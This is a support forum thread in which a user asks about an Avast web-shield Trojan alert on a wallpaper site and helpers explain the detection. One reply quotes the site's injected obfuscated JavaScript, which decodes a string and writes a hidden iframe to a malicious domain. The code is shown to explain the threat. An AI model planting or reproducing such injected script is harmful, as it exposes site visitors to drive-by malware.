avast! 4.8 said it found a Trojan (or Malware)

Avast Free Antivirus / Premium Security
1

:-
Hey, I was Googling “Topwallpapers”, and on the first link, I think, was www[dot]topwallpapers[dot]com.
It looked interesting. But avast! said: Trojan and loud sirene-sound.
I puch the “close the program-buttom”, I quess it was called.
But it was so quick, that I did not quite see, what was going on.

Scanned the PC, and there was nothing
except:
Log - Varning:
SYSTEM 1660 Sighn ofVBS:“Malware-gen” has been found in http://www.topwallpapers.com/men.htm"file.

  • I also scanned with SuperAntiSpyware Free, who did not find anything.

???

Quess it is OK, then ?
Or what?

P.S
I tried to find the link (without puching on it) by my naighbour, who have LinkScanner installed.
And the link was Red.
But her McAfeee Site Adviser said it was ok…

Greetings
Slooow

2

Free wallpaper and free codec sites are very frequently/commonly a honey pot for malware.

The second url you posted isn’t available to be scanned so it could well be that it has been removed or busy.

A report on topwallpapers.com by site advisor reports some issues, http://www.siteadvisor.com/sites/topwallpapers.com, so it looks like avast is on the money.


This website has had obfuscated javascript loaded into it, which looks like this:


e = '0x00' + '25';str1 = "%9E%C6%CD%D0%BA%D7%D6%DD%CE%C1%99%84%D0%CD%D7%CD%C4%CD%CE%CD%D6%DD%9C%C2%CD%C6%C6%C1%C8%84%98%9E%CD%C0%D4%C5%C9%C1%BA%D7%D4%C7%99%84%C2%D6%D6%CA%9C%8B%8B%CE%D1%C6%D0%C7%C8%D6%88%C7%CB%C9%8B%D6%D4%C0%8B%84%BA%D3%CD%C6%D6%C2%99%95%BA%C2%C1%CD%C3%C2%D6%99%95%98%9E%8B%CD%C0%D4%C5%C9%C1%98%9E%8B%C6%CD%D0%98";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);

This code attempts to open an iframe to

_hxxp://ludvcnt . com/trf/ which is malicious
3

Well. I feel safe, as there is no Trojan in the virus-box

I scanned again.

But wonder what avast! really did say.

Is there a screen-shoot of what happen?
In English or Danish language
:wink:

4

There won’t be a virus in the box (chest) or anywhere else as the detection was with the web shield and the only option it gives is to abort the connection, which stops the download before it arrives on your system.

Check the avast! Log Viewer (right click the avast ‘a’ icon), Warning section, this contains information on all avast detections. That information is going to be the same as the entry in the windows event viewer, anti-virus section.

See image of an example of the alert you should have seen, note only the one option Abort connection.